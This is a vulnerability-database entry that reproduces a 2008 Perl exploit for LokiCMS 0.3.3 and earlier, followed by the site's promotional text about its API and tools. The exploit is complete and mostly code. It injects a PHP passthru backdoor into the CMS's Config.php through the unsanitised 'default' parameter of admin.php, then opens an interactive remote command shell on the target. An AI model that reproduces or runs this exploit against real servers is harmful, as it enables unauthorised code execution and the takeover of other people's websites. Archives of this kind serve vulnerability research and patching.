Lucene search
K

LokiCMS <= 0.3.3 - Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

LokiCMS <= 0.3.3 Remote Command Execution Exploi

Code

                                                # Author:	__GiReX__
# mySite:	girex.altervista.org
# Date:		8/04/08

# CMS: 		LokiCMS &#60;= 0.3.3
# Site:		lokicms.com

# Bug: 		PHP Code Injection
# Exploit:	Remote Command Execution

# Vuln Code: admin.php

#	if ($_GET[&#39;default&#39;] != &#39;&#39;) { // User want&#39;s to set the default page
#		writeconfig($c_password, $c_title, $c_header, $c_tagline, $c_footnote, stripslashes($_GET[&#39;default&#39;]), #		$c_theme, $c_language, $c_modrewrite, $c_simplelink, $c_code);

# Our bugged var $_GET[&#39;default&#39;] is stripslashed so we don&#39;t need magic_quotes_gpc Off
# writeconfig() simply put text into Config.php

# This is a very bugged CMS, only most dengerous bug is here reported



#!/usr/bin/perl -w
# LokiCMS &#60;= 0.3.3 Remote Command Execution Exploit
# Works with magic_quotes_gpc = On
# Coded by __GiReX__

use LWP::Simple;

if(not defined $ARGV[0])
{
     banner();
     print &#34;[-] Usage: perl $0 [host] [path]\n&#34;;
     print &#34;[-] Example: perl $0 localhost /lokicms/\n\n&#34;;
     exit;
}
 
my $host  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  &#39;http://&#39; . $ARGV[0];
   $host .=  $ARGV[1] unless not defined $ARGV[1];

banner();
get($host.&#39;admin.php?default=\&#39;;passthru($_GET[\&#39;cmd\&#39;]);//&#39;) or die &#39;[-] Error requesting page: admin.php&#39;;

while(1)
{
     print &#34;[+] Shell:~\$ &#34;;
     chomp($cmd = &#60;STDIN&#62;);
     last if $cmd eq &#39;exit&#39;;
     last if is_error(getprint($host.&#34;includes/Config.php?cmd=${cmd}&#34;));
     print $resp;
}

sub banner
{
     print &#34;[+] LokiCMS &#60;= 0.3.3 Remote Command Execution Exploit\n&#34;;
     print &#34;[+] Coded by __GiReX__\n&#34;;
     print &#34;\n&#34;;
}

# milw0rm.com [2008-04-08]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13